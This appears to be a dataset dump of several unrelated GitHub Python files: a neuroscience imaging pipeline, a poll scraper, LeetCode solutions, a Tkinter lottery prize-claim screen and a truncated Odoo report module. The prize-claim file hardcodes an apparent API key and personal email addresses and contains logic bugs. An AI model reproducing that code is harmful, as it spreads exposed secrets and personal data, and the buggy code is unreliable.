segmentations.\n\n    Attributes:\n        Curation (foreign key): Curation primary key.\n    \"\"\"\n\n    definition = \"\"\" # Different mask segmentations.\n    -> Curation\n    \"\"\"\n\n    class Mask(dj.Part):\n        \"\"\"Image masks produced during segmentation.\n\n        Attributes:\n            Segmentation (foreign key): Segmentation primary key.\n            mask (smallint): Unique ID for each mask.\n            channel.proj(segmentation_channel='channel') (query): Channel to be used for segmentation.\n            mask_npix (int): Number of pixels in the mask.\n            mask_center_x (int): Center x coordinate in pixels.\n            mask_center_y (int): Center y coordinate in pixels.\n            mask_xpix (longblob): x coordinates of the mask in pixels.\n            mask_ypix (longblob): y coordinates of the mask in pixels.\n            mask_weights (longblob): weights of the mask at the indices above.\n        \"\"\"\n\n        definition = \"\"\" # A mask produced by segmentation.\n        -> master\n        mask                 : smallint\n        ---\n        -> Channel.proj(segmentation_channel='channel')  # channel used for segmentation\n        mask_npix            : int       # number of pixels in this mask\n        mask_center_x=null   : int       # (pixels) center x coordinate\n        mask_center_y=null   : int       # (pixels) center y coordinate\n        mask_xpix=null       : longblob  # (pixels) x coordinates\n        mask_ypix=null       : longblob  # (pixels) y coordinates\n        mask_weights         : longblob  # weights of the mask at the indices above\n        \"\"\"\n\n    def make(self, key):\n        \"\"\"Populates table with segmentation data.\"\"\"\n        method, loaded_result = get_loader_result(key, Curation)\n\n        if method == \"caiman\":\n            loaded_caiman = loaded_result\n\n            # infer `segmentation_channel` from `params` if available,\n            # else from caiman loader\n            params = (ProcessingParamSet * ProcessingTask & key).fetch1(\"params\")\n            segmentation_channel = params.get(\n                \"segmentation_channel\", loaded_caiman.segmentation_channel\n            )\n\n            masks, cells = [], []\n            for mask in loaded_caiman.masks:\n                # Sample data had _id key, not mask. Permitting both\n                mask_id = mask.get(\"mask\", mask[\"mask_id\"])\n                masks.append(\n                    {\n                        **key,\n                        \"segmentation_channel\": segmentation_channel,\n                        \"mask\": mask_id,\n                        \"mask_npix\": mask[\"mask_npix\"],\n                        \"mask_center_x\": mask[\"mask_center_x\"],\n                        \"mask_center_y\": mask[\"mask_center_y\"],\n                        \"mask_xpix\": mask[\"mask_xpix\"],\n                        \"mask_ypix\": mask[\"mask_ypix\"],\n                        \"mask_weights\": mask[\"mask_weights\"],\n                    }\n                )\n\n                if loaded_caiman.cnmf.estimates.idx_components is not None:\n                    if mask_id in loaded_caiman.cnmf.estimates.idx_components:\n                        cells.append(\n                            {\n                                **key,\n                                \"mask_classification_method\": \"caiman_default_classifier\",\n                                \"mask\": mask_id,\n                                \"mask_type\": \"soma\",\n                            }\n                        )\n\n            if not all([all(m.values()) for m in masks]):\n                logger.warning(\"Could not load all pixel values for at least one mask\")\n\n            self.insert1(key)\n            self.Mask.insert(masks, ignore_extra_fields=True)\n\n            if cells:\n                MaskClassification.insert1(\n                    {**key, \"mask_classification_method\": \"caiman_default_classifier\"},\n                    allow_direct_insert=True,\n                )\n                MaskClassification.MaskType.insert(\n                    cells, ignore_extra_fields=True, allow_direct_insert=True\n                )\n\n        else:\n            raise NotImplementedError(f\"Unknown/unimplemented method: {method}\")\n\n\n@schema\nclass MaskClassificationMethod(dj.Lookup):\n    \"\"\"Method to classify segmented masks.\n\n    Attributes:\n        mask_classification_method (foreign key, varchar(48) ): Method by which masks\n            are classified into mask types.\n    \"\"\"\n\n    definition = \"\"\"\n    mask_classification_method: varchar(48)\n    \"\"\"\n\n    contents = zip([\"caiman_default_classifier\"])\n\n\n@schema\nclass MaskClassification(dj.Computed):\n    \"\"\"Automated table with mask classification data.\n\n    Attributes:\n        Segmentation (foreign key): Segmentation primary key.\n        MaskClassificationMethod (foreign key): MaskClassificationMethod primary key.\n    \"\"\"\n\n    definition = \"\"\"\n    -> Segmentation\n    -> MaskClassificationMethod\n    \"\"\"\n\n    class MaskType(dj.Part):\n        \"\"\"Automated table storing mask type data.\n\n        Attributes:\n            MaskClassification (foreign key): MaskClassification primary key.\n            Segmentation.Mask (foreign key): Segmentation.Mask primary key.\n            MaskType (dict): Select mask type from entries within `MaskType` look up table.\n            confidence (float): Statistical confidence of mask classification.\n        \"\"\"\n\n        definition = \"\"\"\n        -> master\n        -> Segmentation.Mask\n        ---\n        -> MaskType\n        confidence=null: float\n        \"\"\"\n\n    def make(self, key):\n        raise NotImplementedError(\n            \"To add to this table, use `insert` with allow_direct_insert=True\"\n        )\n\n\n# Fluorescence & Activity Traces -------------------------------------------------------\n\n\n@schema\nclass Fluorescence(dj.Computed):\n    \"\"\"Extracts fluorescence trace information.\n\n    Attributes:\n        Segmentation (foreign key): Segmentation primary key.\n    \"\"\"\n\n    definition = \"\"\"  # fluorescence traces before spike extraction or filtering\n    -> Segmentation\n    \"\"\"\n\n    class Trace(dj.Part):\n        \"\"\"Automated table with Fluorescence traces\n\n        Attributes:\n            Fluorescence (foreign key): Fluorescence primary key.\n            Segmentation.Mask (foreign key): Segmentation.Mask primary key.\n            Channel.proj(fluorescence_channel='channel') (foreign key, query): Channel\n                used for this trace.\n            fluorescence (longblob): A fluorescence trace associated with a given mask.\n            neuropil_fluorescence (longblob): A neuropil fluorescence trace.\n        \"\"\"\n\n        definition = \"\"\"\n        -> master\n        -> Segmentation.Mask\n        -> Channel.proj(fluorescence_channel='channel')  # channel used for this trace\n        ---\n        fluorescence                : longblob  # fluorescence trace associated\n                                                # with this mask\n        neuropil_fluorescence=null  : longblob  # Neuropil fluorescence trace\n        \"\"\"\n\n    def make(self, key):\n        \"\"\"Populates table with fluorescence trace data.\"\"\"\n        method, loaded_result = get_loader_result(key, Curation)\n\n        if method == \"caiman\":\n            loaded_caiman = loaded_result\n\n            # infer `segmentation_channel` from `params` if available,\n            # else from caiman loader\n            params = (ProcessingParamSet * ProcessingTask & key).fetch1(\"params\")\n            segmentation_channel = params.get(\n                \"segmentation_channel\", loaded_caiman.segmentation_channel\n            )\n\n            self.insert1(key)\n            self.Trace.insert(\n                [\n                    {\n                        **key,\n                        \"mask\": mask.get(\"mask\", mask[\"mask_id\"]),\n                        \"fluorescence_channel\": segmentation_channel,\n                        \"fluorescence\": mask[\"inferred_trace\"],\n                    }\n                    for mask in loaded_caiman.masks\n                ]\n            )\n\n        else:\n            raise NotImplementedError(\"Unknown/unimplemented method: {}\".format(method))\n\n\n@schema\nclass ActivityExtractionMethod(dj.Lookup):\n    \"\"\"Lookup table for activity extraction methods.\n\n    Attributes:\n        extraction_method (foreign key, varchar(32) ): Extraction method from CaImAn.\n    \"\"\"\n\n    definition = \"\"\"\n    extraction_method: varchar(32)\n    \"\"\"\n\n    contents = zip([\"caiman_deconvolution\", \"caiman_dff\"])\n\n\n@schema\nclass Activity(dj.Computed):\n    \"\"\"Inferred neural activity from the fluorescence trace.\n\n    Attributes:\n        Fluorescence (foreign key): Fluorescence primary key.\n        ActivityExtractionMethod (foreign key): ActivityExtractionMethod primary key.\n    \"\"\"\n\n    definition = \"\"\"\n    # inferred neural activity from fluorescence trace - e.g. dff, spikes\n    -> Fluorescence\n    -> ActivityExtractionMethod\n    \"\"\"\n\n    class Trace(dj.Part):\n        \"\"\"Automated table with activity traces.\n\n        Attributes:\n            Activity (foreign key): Activity primary key.\n            Fluorescence.Trace (foreign key): fluorescence.Trace primary key.\n            activity_trace (longblob): Inferred activity trace.\n        \"\"\"\n\n        definition = \"\"\"\n        -> master\n        -> Fluorescence.Trace\n        ---\n        activity_trace: longblob\n        \"\"\"\n\n    @property\n    def key_source(self):\n        \"\"\"Defines the order of keys when the `make` function is called.\"\"\"\n        caiman_key_source = (\n            Fluorescence\n            * ActivityExtractionMethod\n            * ProcessingParamSet.proj(\"processing_method\")\n            & 'processing_method = \"caiman\"'\n            & 'extraction_method LIKE \"caiman%\"'\n        )\n\n        return caiman_key_source.proj()\n\n    def make(self, key):\n        \"\"\"Populates table with activity trace data.\"\"\"\n        method, loaded_result = get_loader_result(key, Curation)\n\n        if method == \"caiman\":\n            loaded_caiman = loaded_result\n\n            if key[\"extraction_method\"] in (\"caiman_deconvolution\", \"caiman_dff\"):\n                attr_mapper = {\"caiman_deconvolution\": \"spikes\", \"caiman_dff\": \"dff\"}\n\n                # infer `segmentation_channel` from `params` if available,\n                # else from caiman loader\n                params = (ProcessingParamSet * ProcessingTask & key).fetch1(\"params\")\n                segmentation_channel = params.get(\n                    \"segmentation_channel\", loaded_caiman.segmentation_channel\n                )\n\n                self.insert1(key)\n                self.Trace.insert(\n                    [\n                        {\n                            **key,\n                            \"mask\": mask.get(\"mask\", mask[\"mask_id\"]),\n                            \"fluorescence_channel\": segmentation_channel,\n                            \"activity_trace\": mask[\n                                attr_mapper[key[\"extraction_method\"]]\n                            ],\n                        }\n                        for mask in loaded_caiman.masks\n                    ]\n                )\n\n        else:\n            raise NotImplementedError(\"Unknown/unimplemented method: {}\".format(method))\n\n\n@schema\nclass ProcessingQualityMetrics(dj.Computed):\n    \"\"\"Quality metrics used to evaluate the results of the calcium imaging analysis pipeline.\n\n    Attributes:\n        Fluorescence (foreign key): Primary key from Fluorescence.\n    \"\"\"\n\n    definition = \"\"\"\n    -> Fluorescence\n    \"\"\"\n\n    class Trace(dj.Part):\n        \"\"\"Quality metrics used to evaluate the fluorescence traces.\n\n        Attributes:\n            Fluorescence (foreign key): Primary key from Fluorescence.\n            Fluorescence.Trace (foreign key): Primary key from Fluorescence.Trace.\n            skewness (float): Skewness of the fluorescence trace.\n            variance (float): Variance of the fluorescence trace.\n        \"\"\"\n\n        definition = \"\"\"\n        -> master\n        -> Fluorescence.Trace\n        ---\n        skewness: float   # Skewness of the fluorescence trace.\n        variance: float   # Variance of the fluorescence trace.\n        \"\"\"\n\n    def make(self, key):\n        \"\"\"Populate the ProcessingQualityMetrics table and its part tables.\"\"\"\n        from scipy.stats import skew\n\n        (fluorescence, fluorescence_channels, mask_ids,) = (\n            Segmentation.Mask * RecordingInfo * Fluorescence.Trace & key\n        ).fetch(\"fluorescence\", \"fluorescence_channel\", \"mask\")\n\n        fluorescence = np.stack(fluorescence)\n\n        self.insert1(key)\n\n        self.Trace.insert(\n            dict(\n                key,\n                fluorescence_channel=fluorescence_channel,\n                mask=mask_id,\n                skewness=skewness,\n                variance=variance,\n            )\n            for fluorescence_channel, mask_id, skewness, variance in zip(\n                fluorescence_channels,\n                mask_ids,\n                skew(fluorescence, axis=1),\n                fluorescence.std(axis=1),\n            )\n        )\n\n\n# Helper Functions ---------------------------------------------------------------------\n\n_table_attribute_mapper = {\n    \"ProcessingTask\": \"processing_output_dir\",\n    \"Curation\": \"curation_output_dir\",\n}\n\n\ndef get_loader_result(key, table) -> tuple:\n    \"\"\"Retrieve the loaded processed imaging results from the loader (e.g. caiman, etc.)\n\n    Args:\n        key (dict): the `key` to one entry of ProcessingTask or Curation.\n        table (str): the class defining the table to retrieve\n            the loaded results from (e.g. ProcessingTask, Curation).\n\n    Returns:\n        method, loaded_output (tuple): method string and loader object with results (e.g. caiman.CaImAn, etc.)\n    \"\"\"\n\n    method, output_dir = (ProcessingParamSet * table & key).fetch1(\n        \"processing_method\", _table_attribute_mapper[table.__name__]\n    )\n\n    output_dir = find_full_path(get_miniscope_root_data_dir(), output_dir)\n\n    if method == \"caiman\":\n        from element_interface import caiman_loader\n\n        loaded_output = caiman_loader.CaImAn(output_dir)\n    else:\n        raise NotImplementedError(\"Unknown/unimplemented method: {}\".format(method))\n\n    return method, loaded_output\n","repo_name":"datajoint/element-miniscope","sub_path":"element_miniscope/miniscope.py","file_name":"miniscope.py","file_ext":"py","file_size_in_byte":46341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"26201422426","text":"import urllib.request\nimport shutil\n# import os\n\ndef get_teams():\n\twith open('cbbscorebot/team_list.txt','r') as imp_file:\n\t\tlines=imp_file.readlines()\n\tflairs={}\n\trank_names={}\n\tfor line in lines:\n\t\t(team,flair,rank_name)=line.replace('\\n','').split(',')\n\t\tflairs[team]=flair\n\t\trank_names[rank_name]=team\n\treturn flairs,rank_names\n\ndef get_rcbb_poll():\n\t(flairs,rank_names)=get_teams()\n\turl='http://cbbpoll.com/'\n\twith urllib.request.urlopen(url) as response, open ('cbbscorebot/ranking.html', 'wb') as out_file:\n\t\tshutil.copyfileobj(response, out_file)\n\twith open('cbbscorebot/ranking.html','r') as imp_file:\n\t\tlines=imp_file.readlines()\n\tranking,headerranking,first_place_votes=[],[],[]\n\ti=1\n\twhile i<125:\n\t\tfirst_place_votes.append('('+str(i)+')')\n\t\ti=i+1\n\n\tfor line in lines:\n\t\tif \"<td><span class='team-name'>\" in line:\n\t\t\t# Rank\n\t\t\tteam_rank=lines[lines.index(line)-1].replace('<td>','').replace('</td>','')\n\t\t\t# Votes\n\t\t\tteam_vote=lines[lines.index(line)+1].replace('<td>','').replace('</td>','')\n\t\t\t# Team, FPV\n\t\t\tline=line.replace('&#39;',\"'\").replace('&#38;','&')\n\t\t\tbegin=line.find('></span>')\n\t\t\tend=line.find('</span></td>')\n\t\t\tteam=line[begin+9:end]\n\t\t\tfor vote in first_place_votes:\n\t\t\t\tif vote in team:\n\t\t\t\t\tteam=team.replace(vote,'')\n\t\t\t\t\tteam_fpv=vote\n\t\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tteam_fpv=''\n\t\t\t\n\t\t\tranking.append(\"#\"+str(int(team_rank))+\"|\"+flairs[rank_names[team.replace('&amp;','&')]]+\"|\"+team.replace('&amp;','&')+\" \"+team_fpv+\"|\"+str(int(team_vote)))\n\t\t\t\n\t\t\theaderranking.append(flairs[rank_names[team.replace('&amp;','&')]])\n\t\t\t\n\t# os.remove('cbbscorebot/ranking.html')\n\twith open('cbbscorebot/ranking.txt','w') as f:\n\t\tfor team in ranking:\n\t\t\tf.write(team+'\\n')\n\t\t\n\twith open('cbbscorebot/headerranking.txt','w') as f:\n\t\tfor team in headerranking:\n\t\t\tif team == headerranking[-1]:\n\t\t\t\tf.write(team)\n\t\t\telse:\n\t\t\t\tf.write(team+' ')\n\ntry:\n\tget_rcbb_poll()\nexcept:\n\tprint(\"Failed to Pull cbb poll\")\n\tquit()\nquit()\n","repo_name":"cinciforthewin/settingsbot","sub_path":"top25update.py","file_name":"top25update.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1895080143","text":"import functools\n\nimport sys\nfrom typing import List\n\n\nclass Solution:\n    \"\"\"\n    You are given a 0-indexed array of integers nums of length n. You are initially positioned at nums[0].\n\n    Each element nums[i] represents the maximum length of a forward jump from index i. In other words, if you are at\n    nums[i], you can jump to any nums[i + j] where:\n        - 0 <= j <= nums[i] and\n        - i + j < n\n\n    Return the minimum number of jumps to reach nums[n - 1]. The test cases are generated such that you can reach\n    nums[n - 1].\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"\n        Initialise the solution.\n        \"\"\"\n        self.nums = None\n\n    def jump_greedy(self, nums: List[int]) -> int:\n        \"\"\"\n        Return the minimum number of jumps to reach nums[n - 1].\n\n        :param nums: The input array.\n        :type nums: List[Int].\n        :return: The minimum number of jumps to reach nums[n - 1].\n        :rtype: Int.\n\n        The time complexity is O(N). Faster than 40.52% of solutions.\n\n        The space complexity is O(1). Less memory than 56.92% of solutions.\n        \"\"\"\n        # the initial range (after 0th jump) is [0,0]\n        l = r = 0\n        nJumps = 0\n        while r < len(nums) - 1:\n            nJumps += 1\n            furthest = 0\n            for i in range(l, r + 1):\n                furthest = max(furthest, i + nums[i])\n            l, r = r + 1, furthest\n\n        return nJumps\n\n    def jump_memoization(self, nums: List[int]) -> int:\n        \"\"\"\n        Return the minimum number of jumps to reach nums[n - 1].\n\n        :param nums: The input array.\n        :type nums: List[Int].\n        :return: The minimum number of jumps to reach nums[n - 1].\n        :rtype: Int.\n\n        The time complexity is O(N). Faster than 6.64% of solutions.\n\n        The space complexity is O(N). Less memory than 5.01% of solutions.\n        \"\"\"\n        self.nums = nums\n        return self.min_jump(0)\n\n    @functools.lru_cache(None)\n    def min_jump(self, idx: int) -> int:\n        \"\"\"\n        A helper method to calculate the minimum jumps.\n\n        :param idx: The current index.\n        :type idx: Int.\n        :return: The number of jumps from this index.\n        :rtype: Int.\n        \"\"\"\n        if idx == len(self.nums) - 1:\n            return 0\n        elif self.nums[idx] >= len(self.nums) - idx - 1:\n            return 1\n        elif self.nums[idx] == 0:\n            return sys.maxsize\n        return 1 + min([self.min_jump(i) for i in range(idx + 1, idx + self.nums[idx] + 1)])\n","repo_name":"jrandj/leetcode","sub_path":"python/src/jump_game_II.py","file_name":"jump_game_II.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"34537667925","text":"# Author : Gideon Daniels\n# Github :\n# Replit :\n\n# import tkinter library\nimport requests\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox\nimport requests\n# from signup import *\n# from login import *\n# Claim Prizes Screen\n# Importing modules to send email\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\n\n\n# Importing currency converter\n\n\nclass ClaimPrizes:\n    def __init__(self):\n        # create instance of frame\n        self.window = Tk()\n        # setting up window\n        self.window.geometry(\"1080x720\")\n        self.window.config(bg=\"#3986d2\")\n        self.window.title(\"Login Screen\")\n        # currency converter\n        self.amount_converted = StringVar()\n        self.re = requests.get('https://v6.exchangerate-api.com/v6/6698980fefc5cd611ec51be2/latest/USD')\n        self.result = self.re.json()\n\n        self.converting_rate = self.result['conversion_rates']\n        self.currencies = []\n        self.currencies_two = []\n        for i in self.converting_rate.keys():\n            self.currencies.append(i)\n            for x in self.converting_rate.keys():\n                self.currencies_two.append(x)\n\n        # variables used for email\n        self.mailers_id = \"gideondaniels.dragoonix@gmail.com\"\n        self.email_receiver_id = [\"gideon.daniels@yahoo.com\", \"thepelo@lifechoices.co.za\", \"aslamedien9@gmail.com\",\n                                  \"sithandathuzipho@gmail.com\"]\n        # variables used for dropdown box\n        self.menu = StringVar()\n        self.menu.set(\"Standard Bank\")\n\n        self.options = [\"Standard Bank\", \"Absa\", \"Capitech\", ]\n\n        # creating widgets\n        # Header Frame\n        self.labelframe_header = LabelFrame(self.window, bg=\"#ebec00\", width=200, heigh=100)\n        self.labelframe_header.pack(fill=\"both\")\n        # Header widget\n        self.label_header = Label(self.labelframe_header, text=\"BANKING DETAILS\", bg=\"#ebec00\", font=\"Times 30 bold\")\n        self.label_header.place(x=430, y=50)\n        # Log In Frame\n        self.labelframe_details = LabelFrame(self.window, bg=\"#ebec00\", width=600, heigh=400)\n        self.labelframe_details.place(x=20, y=150)\n        self.label_header_details = Label(self.labelframe_details, text=\"DETAILS\", font=\"Times 20\", bg=\"#ebec00\")\n        self.label_header_details.place(y=10, x=270)\n        # drop down menu widget\n        self.label_bank = Label(self.labelframe_details, text=\"Bank\", font=\"Times 16\", bg=\"#ebec00\")\n        self.label_bank.place(y=220, x=20)\n        self.option_menu_banks = OptionMenu(self.labelframe_details, self.menu, *self.options)\n        self.option_menu_banks.config(font=\" 16\", bg=\"#3986d2\")\n        self.option_menu_banks.place(y=220, x=250)\n        self.option_menu_banks[\"menu\"].config(bg=\"#3986d2\")\n        # Account holder name widget\n        self.label_account_holder = Label(self.labelframe_details, text=\"Account Holder name\", font=\"Times 16\",\n                                          bg=\"#ebec00\")\n        self.label_account_holder.place(y=120, x=20)\n        self.entry_account_holder = Entry(self.labelframe_details, font=\"Times 16\", bg=\"#3986d2\")\n        self.entry_account_holder.place(y=120, x=250)\n        # Bank account widget\n        self.label_id = Label(self.labelframe_details, text=\"Bank Account Number\", font=\"Times 16\", bg=\"#ebec00\")\n        self.label_id.place(y=170, x=20)\n        self.entry_id = Entry(self.labelframe_details, font=\"Times 16\", bg=\"#3986d2\")\n        self.entry_id.place(y=170, x=250)\n        # Currency Converter\n        self.labelframe_converter = LabelFrame(self.window, bg=\"#ebec00\", width=400, heigh=400)\n        self.labelframe_converter.place(x=650, y=150)\n        self.label_currency_converter = Label(self.labelframe_converter, text=\"CURRENCY CONVERTER\", font=\"Times 20\",\n                                              bg=\"#ebec00\")\n\n        self.label_currency_converter.place(y=10, x=50)\n        self.label_winning = Label(self.labelframe_converter, text=\"WINNINGS\", font=\"Times 16\",\n                                   bg=\"#ebec00\")\n        self.label_winning.place(y=120, x=20)\n        self.label_from_currency = Label(self.labelframe_converter, text=\"Convert From\", font=\"Times 16\",\n                                         bg=\"#ebec00\")\n        self.label_from_currency.place(y=190, x=20)\n\n        self.label_to_currency = Label(self.labelframe_converter, text=\"Convert To\", font=\"Times 16\",\n                                       bg=\"#ebec00\")\n        self.label_to_currency.place(y=250, x=20)\n\n        self.label_converted_amount = Label(self.labelframe_converter, text=\"Converted Amount\", font=\"Times 16\",\n                                            bg=\"#ebec00\")\n        self.label_converted_amount.place(y=300, x=20)\n\n        self.entry_input_amount = Entry(self.labelframe_converter, font=\"Times 16\",\n                                        bg=\"#3986d2\", width=8)\n        self.entry_input_amount.place(y=120, x=220)\n\n        self.combobox_currency_one = ttk.Combobox(self.labelframe_converter, values=self.currencies, state=\"read-only\")\n        self.combobox_currency_one.set(\"Select Currency\")\n        self.combobox_currency_one.place(x=200, y=190)\n\n        self.combobox_currency_two = ttk.Combobox(self.labelframe_converter, values=self.currencies_two,\n                                                  state=\"read-only\")\n        self.combobox_currency_two.set(\"Select Currency\")\n        self.combobox_currency_two.place(x=200, y=250)\n        self.entry_output_amount = Entry(self.labelframe_converter, textvariable=self.amount_converted, font=\"Times 12\",\n                                         bg=\"#3986d2\", width=8)\n        self.entry_output_amount.place(y=300, x=220)\n\n        # buttons\n        self.button_convert = Button(self.labelframe_converter, text=\"CONVERT\", font=\"Times 16\", bg=\"#3986d2\",\n                                     command=self.convert)\n        self.button_convert.place(y=350, x=20)\n        self.button_clear = Button(self.labelframe_converter, text=\"CLEAR\", font=\"Times 16\", bg=\"#3986d2\",\n                                   command=self.clear)\n        self.button_clear.place(y=350, x=250)\n        self.button_play_again = Button(self.labelframe_details, text=\"PLAY AGAIN\", font=\"Times 16\", bg=\"#3986d2\",\n                                        command=self.play_again)\n        self.button_play_again.place(y=350, x=100)\n        self.button_approve = Button(self.labelframe_details, text=\"APPROVE\", font=\"Times 16\", bg=\"#3986d2\",\n                                     command=self.approve)\n        self.button_approve.place(y=350, x=280)\n\n        self.button_exit = Button(self.labelframe_details, text=\"EXIT\", font=\"Times 16\", bg=\"#3986d2\",\n                                  command=self.exit_button)\n        self.button_exit.place(y=350, x=420)\n        # FOOTER\n        self.labelframe_footer = LabelFrame(self.window, bg=\"#ebec00\", width=200, heigh=100)\n        self.labelframe_footer.pack(fill=\"both\", side=BOTTOM)\n\n        # runs screen\n        self.window.mainloop()\n    # Functions for buttons\n\n    def convert(self):\n        amount = float(self.entry_input_amount.get())\n        currency_one = self.combobox_currency_one.get()\n        currency_two = self.combobox_currency_one.get()\n        converted_amount = round(amount*self.converting_rate[currency_two], 2)\n        self.amount_converted.set(converted_amount)\n\n    def clear(self):\n        pass\n\n    def play_again(self):\n        pass\n\n    def approve(self):\n        if self.entry_id.get() == \"\" and len(self.entry_id.get()) != 13:\n            messagebox.showinfo(\"Warning\", \"Invalid I.D\")\n        elif self.entry_account_holder.get() == \"\":\n            messagebox.showinfo(\"Warning\", \"Please fill out all fields\")\n        else:\n            password = input(\"Enter your password\")\n            subject = \"Greetings\"\n            msg = MIMEMultipart()\n            msg['From'] = subject\n            msg['To'] = \", \".join(self.email_receiver_id)\n            body = f\"Hello {self.entry_account_holder.get()}\"\n            body = body + f\"Your prize have been send.\"\n            msg.attach(MIMEMultipart(body, 'plain'))\n            text = msg.as_string()\n            s = smtplib.SMTP(\"smtp.gmail.com\", 587)\n            s.starttls()\n            s.login(self.mailers_id, password)  # Authentication\n            s.starttls()\n            s.login(self.mailers_id, password)  # message to be send\n            s.sendmail(self.mailers_id, self.email_receiver_id, text)  # send the mail\n            s.quit()\n\n    def exit_button(self):\n        self.window.destroy()\n\n\n# Runs Login Screen\nClaimPrizes()\n","repo_name":"Gideon-Daniels/Lottery-Challenge-EOMP","sub_path":"claiming_prizes.py","file_name":"claiming_prizes.py","file_ext":"py","file_size_in_byte":8645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"20899599315","text":"# 1637. 两点之间不包含任何点的最宽垂直区域\n# widest-vertical-area-between-two-points-containing-no-points\n\nclass Solution:\n    def maxWidthOfVerticalArea(self, points: list[list[int]]) -> int:\n        points.sort()\n        res = []\n        for i in range(1, len(points)):\n            res.append(points[i][0]-points[i-1][0])\n        return max(res) \n\npoints = [[3,1],[9,0],[1,0],[1,4],[5,3],[8,8]]\nprint(Solution().maxWidthOfVerticalArea(points))","repo_name":"kingwangim/LeetCodeCN","sub_path":"Python/widest-vertical-area-between-two-points-containing-no-points.py","file_name":"widest-vertical-area-between-two-points-containing-no-points.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"21241449894","text":"from odoo import models, fields, api, _\nfrom odoo.exceptions import UserError, ValidationError, Warning\nfrom .ple_report import get_last_day\nfrom .ple_report import fill_name_data\nfrom .ple_report import number_to_ascii_chr\n\nimport base64\nimport datetime\nfrom io import StringIO, BytesIO\nimport pandas\nimport logging\n_logging = logging.getLogger(__name__)\n\nclass PLEReport14(models.Model) :\n\t_name = 'ple.report.14'\n\t_description = 'PLE 14 - Estructura del Registro de Ventas'\n\t_inherit = 'ple.report.templ'\n\t\n\tyear = fields.Integer(required=True)\n\tmonth = fields.Selection(selection_add=[], required=True)\n\t\n\tinvoice_ids = fields.Many2many(comodel_name='account.move', string='Ventas', readonly=True)\n\t\n\tple_txt_01 = fields.Text(string='Contenido del TXT 14.1')\n\tple_txt_01_binary = fields.Binary(string='TXT 14.1')\n\tple_txt_01_filename = fields.Char(string='Nombre del TXT 14.1')\n\tple_xls_01_binary = fields.Binary(string='Excel 14.1')\n\tple_xls_01_filename = fields.Char(string='Nombre del Excel 14.1')\n\tple_txt_02 = fields.Text(string='Contenido del TXT 14.2')\n\tple_txt_02_binary = fields.Binary(string='TXT 14.2', readonly=True)\n\tple_txt_02_filename = fields.Char(string='Nombre del TXT 14.2')\n\tple_xls_02_binary = fields.Binary(string='Excel 14.2', readonly=True)\n\tple_xls_02_filename = fields.Char(string='Nombre del Excel 14.2')\n\n\tdocumento_compra_ids = fields.Many2many('l10n_latam.document.type', 'ple_14_report_l10n_latam_id', 'report_14_id', 'doc_14_id', string='Documentos a incluir', required=False, domain=\"[('sub_type', 'in', ['sale'])]\")\n\n\t@api.onchange('company_id')\n\tdef _onchange_company(self):\n\t\tdominio = [('company_id', '=', self.company_id.id), ('sub_type', '=', 'sale'), ('inc_ple_ventas', '=', True)]\n\t\tdocumentos = self.env['l10n_latam.document.type'].search(dominio)\n\t\tself.documento_compra_ids = [(6, 0, documentos.ids)]\n\t\n\tdef get_default_filename(self, ple_id='140100', tiene_datos=False) :\n\t\tname = super().get_default_filename()\n\t\tname_dict = {\n\t\t\t'month': str(self.month).rjust(2,'0'),\n\t\t\t'ple_id': ple_id,\n\t\t}\n\t\tif not tiene_datos :\n\t\t\tname_dict.update({\n\t\t\t\t'contenido': '0',\n\t\t\t})\n\t\tfill_name_data(name_dict)\n\t\tname = name % name_dict\n\t\treturn name\n\t\n\tdef update_report(self) :\n\t\tres = super().update_report()\n\t\tstart = datetime.date(self.year, int(self.month), 1)\n\t\tend = get_last_day(start)\n\t\t#current_offset = fields.Datetime.context_timestamp(self, fields.Datetime.now()).utcoffset()\n\t\t#start = start - current_offset\n\t\t#end = end - current_offset\n\t\tdoc_type_ids = []\n\t\tfor reg in self.documento_compra_ids:\n\t\t\tdoc_type_ids.append(reg.id)\n\n\t\tinvoices = self.env.ref('base.pe').id\n\t\tinvoices = [\n\t\t\t('company_id','=',self.company_id.id),\n\t\t\t('company_id.partner_id.country_id','=',invoices),\n\t\t\t('move_type','in',['out_invoice','out_refund']),\n\t\t\t('state','in',['posted', 'annul', 'cancel']),\n\t\t\t#('estado_sunat','not in',['07', '09']),\n\t\t\t('invoice_date','>=',str(start)),\n\t\t\t('invoice_date','<=',str(end)),\n\t\t]\n\t\tif self.documento_compra_ids:\n\t\t\tinvoices.append(('l10n_latam_document_type_id', 'in', doc_type_ids))\n\n\n\t\tinvoices = self.env[self.invoice_ids._name].search(invoices, order='invoice_date asc, name asc')\n\t\tself.invoice_ids = invoices\n\t\treturn res\n\t\n\tdef generate_report(self) :\n\t\tres = super().generate_report()\n\t\tlines_to_write = []\n\t\tlines_to_write_2 = []\n\t\tinvoices = self.invoice_ids.sudo()\n\t\tcontador = 1\n\t\tfor move in invoices :\n\t\t\tif move.is_cpe and move.estado_sunat in ['07', '09']:\n\t\t\t\tcontinue\n\t\t\tm_1 = []\n\t\t\ttry :\n\t\t\t\testado_comprobante = '1'\n\t\t\t\tif move.state in [\"annul\", \"cancel\"]:\n\t\t\t\t\testado_comprobante = '2'\n\n\t\t\t\tsunat_number = move.l10n_latam_document_number\n\t\t\t\tsunat_number = sunat_number and ('-' in sunat_number) and sunat_number.split('-') or ['','']\n\t\t\t\tsunat_code = move.pe_invoice_code\n\t\t\t\tsunat_partner_code = move.partner_id.l10n_latam_identification_type_id.l10n_pe_vat_code\n\t\t\t\tsunat_partner_vat = move.partner_id.vat\n\t\t\t\t#sunat_partner_name = move.partner_id.legal_name or move.partner_id.name\n\t\t\t\tsunat_partner_name = move.partner_id.name\n\t\t\t\tmove_id = move.id\n\t\t\t\tinvoice_date = move.invoice_date\n\t\t\t\tdate_due = 